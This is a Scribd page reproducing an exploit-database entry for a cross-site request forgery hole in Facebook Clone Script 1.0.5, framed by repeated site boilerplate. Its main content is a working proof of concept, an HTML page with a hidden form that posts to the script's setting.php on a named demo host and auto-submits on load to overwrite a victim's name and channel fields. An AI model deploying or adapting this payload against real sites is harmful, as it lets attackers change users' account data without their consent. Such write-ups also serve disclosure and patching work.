Scribd Logo
Upload

Welcome to Scribd!

  • 44800

    Uploaded by

    Herisitraka Fabrice Randrianarivo
    12 views1 page
    Facebook Clone Script version 1.0.5 has a cross-site request forgery (CSRF) vulnerability that allows attackers to easily change a user's information without authentication. The proof of concept involves a hidden form that submits to the script's setting.php page to change first name, last name, and channel name fields when the page loads.

    Original Description:

    Original Title

    44800.txt

    Copyright

    © © All Rights Reserved

    Available Formats

    TXT, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    Report this Document
    Facebook Clone Script version 1.0.5 has a cross-site request forgery (CSRF) vulnerability that allows attackers to easily change a user's information without authentication. The proof of concept involves a hidden form that submits to the script's setting.php page to change first name, last name, and channel name fields when the page loads.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    12 views1 page

    44800

    Uploaded by

    Herisitraka Fabrice Randrianarivo
    Facebook Clone Script version 1.0.5 has a cross-site request forgery (CSRF) vulnerability that allows attackers to easily change a user's information without authentication. The proof of concept involves a hidden form that submits to the script's setting.php page to change first name, last name, and channel name fields when the page loads.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    of 1

    # Exploit Title: Facebook Clone Script 1.0.

    5 - Cross-Site Request Forgery


    # Date: 2018-05-29
    # Exploit Author: L0RD
    # Vendor Homepage: https://www.phpscriptsmall.com/product/facebook-clone/
    # Version: 1.0.5
    # Tested on: Win 10

    # Description :
    # Facebook Clone Script 1.0.5 has csrf vulnerability which attacker can
    # easily change user information .

    # POC :

    <html>
    <head>
    <title>Change information</title>
    </head>
    <body>
    <form action="http://smsemailmarketing.in/demo/fbclone/setting.php"
    method="POST">
    <input type="hidden" name="fn" value="anything" />
    <input type="hidden" name="ln" value="anything" />
    <input type="hidden" name="chnname" value="anything" />
    </form>
    <script>
    document.forms[0].submit();
    </script>
    </body>
    </html>

    You might also like